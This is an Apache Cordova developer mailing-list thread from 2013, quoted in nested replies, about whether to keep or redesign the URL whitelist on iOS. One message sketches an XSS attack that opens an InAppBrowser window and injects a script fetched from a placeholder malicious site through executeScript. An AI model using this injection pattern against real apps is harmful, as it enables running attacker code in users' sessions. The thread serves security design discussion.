For the overlay thing, at least for iOS if we have a new window option for "toolbar=[yes|no]" this would have almost the desired effect, if we take out the animation.
On Mon, Apr 15, 2013 at 1:44 PM, Andrew Grieve <[email protected]> wrote: > Kevin - the iOS CDVURLProtocol was changed (2.5ish) to only filter requests > from Cordova WebViews. I'd be interested in hearing if you still think it's > over-reaching. > > I think the only real way to protect your app is to not have any > third-party scripts in it. We have an outstanding issue to create a guide > for this: > > https://issues.apache.org/jira/browse/CB-2179 > > > Would using InAppBrowser suite your need for handling third-party content? > E.g. What if we made a mode for IAB where it overlays the page (like an > iframe) instead of completely covering it? > > > > > On Thu, Apr 11, 2013 at 2:39 PM, Shravan Narayan <[email protected] > >wrote: > > > Hi, > > My name is Shravan - I am an intern at Google working on the Cordova App > > Harness (tool to test Cordova Apps). > > > > Something that I noticed while starting work on the App Harness. The new > > executeScript method allows injection of arbitrary pieces of javascript > in > > the InAppBrowsers opened with "window.open". This script runs in context > of > > the page loaded in the InAppBrowser. Whitelists might be still required > in > > this scenario. > > > > *Quick example* > > Consider the scenario that there are no whitelists in the platforms. Any > > cordova app which is vulnerable to XSS attacks, can have the following > code > > injected into them. > > > > *w = window.open("www.site_that_your_app_normally_doesnt_access.com", > > "_blank");* > > *w.executeScript({ file: "some_** malicious**_site.com/malicious.js"}); > > * > > * > > * > > Thus they can open any website and inject any js file from any location. > > Whereas with whitelists the js file's domain "*some_** malicious**_ > > site.com" > > * would probably not be a part of the whitelist. > > > > *Small caveat: *The executeScript does have means to inject code directly > > as well with *w.executeScript({code:"(function() {alert("Hello");}) > ();"}) > > *but > > that may require a different solution not pertaining to this discussion. > > > > I don't know if this is a reason to keep the whitelists around but > thought > > I'd mention it. > > > > Shravan > > > > > > On Wed, Apr 10, 2013 at 8:29 PM, Shazron <[email protected]> wrote: > > > > > Also the whitelist might be important for plugins. Specifically, people > > > that need to install plugins have a promise of what external locations > > are > > > being accessed. > > > > > > However, right now all iOS plugins bypass the whitelist because of our > > > User-Agent method, and that needs to be rectified before this "promise" > > is > > > true. > > > > > > Certain resources bypass the whitelist anyway because we have no way to > > > control them at the moment (audio/video tags): > > > https://issues.apache.org/jira/browse/CB-2451 > > > > > > > > > > > > > > > On Wed, Apr 10, 2013 at 5:22 PM, Shazron <[email protected]> wrote: > > > > > > > Ideally we would have a WebPolicyDelegate like OS X > > > > (webView:decidePolicyForMIMEType:): > > > > > > > > > > > > > > https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/WebKit/Protocols/WebPolicyDelegate_Protocol/Reference/Reference.html > > > > > > > > ...where we can have some granularity - I'm not sure we can yet. If > so, > > > we > > > > can defer to the app developer whether certain things like images can > > be > > > > let through - for example in MainViewController, you can set your own > > > > WebPolicyDelegate. We would allow images through by default. > > > > > > > > I'm not sure of "letting the fox in the hen-house" (allow everything) > > > then > > > > trying to guard against attacks (hens with shotguns?), this is > > JavaScript > > > > after all. I'm interested however in how your gatekeeper concept > works > > to > > > > help with this since allowing an external URL location does not > protect > > > > from this attach (think of the situation if the external host was > > hacked, > > > > and contained JS that attacks/intercepts our bridge). > > > > > > > > With the default wildcard in new projects, like others here have > > > > mentioned, the whitelist is effectively turned off, and 99% of devs > > won't > > > > care to restrict the whitelist. > > > > > > > > > > > > > > > > On Wed, Apr 10, 2013 at 3:06 PM, Braden Shepherdson < > > [email protected] > > > >wrote: > > > > > > > >> Especially since permissions, on platforms that have such a notion, > > will > > > >> be > > > >> (eventually...) controlled by installing those plugins. So you can > > lean > > > on > > > >> the platform to block access to contacts as well. Even on platforms > > > >> without > > > >> such permissions control, if we don't load the contacts-retrieval > > native > > > >> code, then the JS can't get at it. > > > >> > > > >> Braden > > > >> > > > >> > > > >> On Wed, Apr 10, 2013 at 4:44 PM, Jesse <[email protected]> > > wrote: > > > >> > > > >> > I am completely in favor of removing whitelisting as well. I > > believe > > > it > > > >> > gives developers a false sense of security. > > > >> > imho the only sure way to protect access to the bridge is to only > > ever > > > >> load > > > >> > code that you control. We should be pushing developers towards > > > >> > best-practices. > > > >> > > > > >> > Some of the whitelist stuff should become redundant when we have > > > things > > > >> > like the Contact API moved into plugins. ie. You can be > absolutely > > > >> certain > > > >> > that no JS code is accessing the device's contacts if you do not > > > include > > > >> > the native pieces of the Contact API. > > > >> > > > > >> > @purplecabbage > > > >> > risingj.com > > > >> > > > > >> > > > > >> > On Wed, Apr 10, 2013 at 1:23 PM, Brian LeRoux <[email protected]> wrote: > > > >> > > > > >> > > We recently moved to * by default to ease common userland woe. > I'd > > > be > > > >> in > > > >> > > favor of removal of whitelisting but I'm fairly certain that > would > > > be > > > >> > > a controversial position! > > > >> > > > > > >> > > > > > >> > > On Wed, Apr 10, 2013 at 11:38 AM, Kevin Hawkins < > > > >> > > [email protected]> wrote: > > > >> > > > > > >> > > > Hey all, > > > >> > > > > > > >> > > > Those of us who have been on the implementing and/or serious > > > >> > consumption > > > >> > > > side of whitelisting for iOS—I've been on both at one time or > > > >> > > another—know > > > >> > > > how much work has gone into trying to make it a full-featured > > > >> security > > > >> > > > subsystem for the iOS version of the framework. I want to > share > > > >> some > > > >> > > > feedback based on my organization's experiences in > > implementation, > > > >> and > > > >> > > > hopefully spark some discussion about the future of > whitelisting > > > on > > > >> iOS > > > >> > > > (and maybe the platform as a whole). > > > >> > > > > > > >> > > > We're essentially running into insurmountable issues with > > > >> whitelisting > > > >> > > for > > > >> > > > the use cases we're attempting, based on the overreach of the > > > >> > > NSURLProtocol > > > >> > > > approach to whitelist handling. I say overreach because, in > an > > > >> ideal > > > >> > > > world, Cordova should only ever care about safeguarding > traffic > > > >> > destined > > > >> > > to > > > >> > > > go through the hybrid/native bridge. This argument can be > made > > > for > > > >> all > > > >> > > > platforms, but the lack of granularity is most onerously > > > >> overbearing on > > > >> > > > iOS, which filters every HTTP(S) packet that goes through the > > app. > > > >> > > > > > > >> > > > Our requirements are very strict with regard to what's > > whitelisted > > > >> to > > > >> > go > > > >> > > > through the bridge. But the bridge is conceptually the only > > thing > > > >> we > > > >> > > care > > > >> > > > about, within that particular sphere of security. We have a > > more > > > >> > relaxed > > > >> > > > sphere of security for, say, <img src="http://maps.google.com > " > > > />, > > > >> as > > > >> > > the > > > >> > > > threat vectors exposed through image rendering are > considerably > > > less > > > >> > than > > > >> > > > malicious injected bridge code. > > > >> > > > > > > >> > > > Alas, we don't—and arguably never will—have that kind of > > granular > > > >> > control > > > >> > > > in iOS, with the current implementation approach. > NSURLProtocol > > > is > > > >> > > simply > > > >> > > > too broad-brush to meld into a granular approach for > > whitelisting. > > > >> The > > > >> > > end > > > >> > > > result is that we lose the ability to deliver a rich content > > > >> experience > > > >> > > > that leverages third party artifacts, because we're forced to > go > > > >> with > > > >> > the > > > >> > > > sphere of security that gives us the highest scrutiny, across > > the > > > >> > board. > > > >> > > > > > > >> > > > We've been considering (very early phase) some alternative > > > >> approaches > > > >> > to > > > >> > > > managing whitelisting. Our current thinking has been focusing > > on > > > a > > > >> > > > gatekeeper (on the native side) to the bridge itself. This > > would > > > >> > enforce > > > >> > > > some sort of contract between the hybrid and native side, to > > make > > > a > > > >> > > > determination of which traffic is authorized to specifically > go > > > >> through > > > >> > > the > > > >> > > > bridge. I'm not sure what that contract looks like at this > > point, > > > >> but > > > >> > > > enforcement would be bridge-specific, and all other webview > > > traffic > > > >> > would > > > >> > > > otherwise behave as it would in a normal web application. > > > >> > > > > > > >> > > > I know from past discussions that many (most?) Cordova > > developers > > > >> don't > > > >> > > > generally use the whitelist, since their security concerns may > > not > > > >> be > > > >> > as > > > >> > > > great, and/or they exclusively host their app functionality > > > locally > > > >> to > > > >> > > the > > > >> > > > device, which allows them to essentially implement their own > > > >> controls > > > >> > on > > > >> > > > attack vectors through selective app content. In our case, > > we're > > > >> > > building > > > >> > > > an enterprise platform where content could come from any > number > > of > > > >> > > sources. > > > >> > > > And whitelisting controls are not working for us. > > > >> > > > > > > >> > > > If there's a future for whitelisting in Cordova 3.0, I > > personally > > > >> feel > > > >> > > that > > > >> > > > it needs to be revisited. I'd be interested to hear thoughts > > from > > > >> > others > > > >> > > > on their usage patterns, and responses to my concerns. > > > >> > > > > > > >> > > > Cheers, > > > >> > > > Kevin > > > >> > > > > > > >> > > > > > >> > > > > >> > > > > > > > > > > > > > >
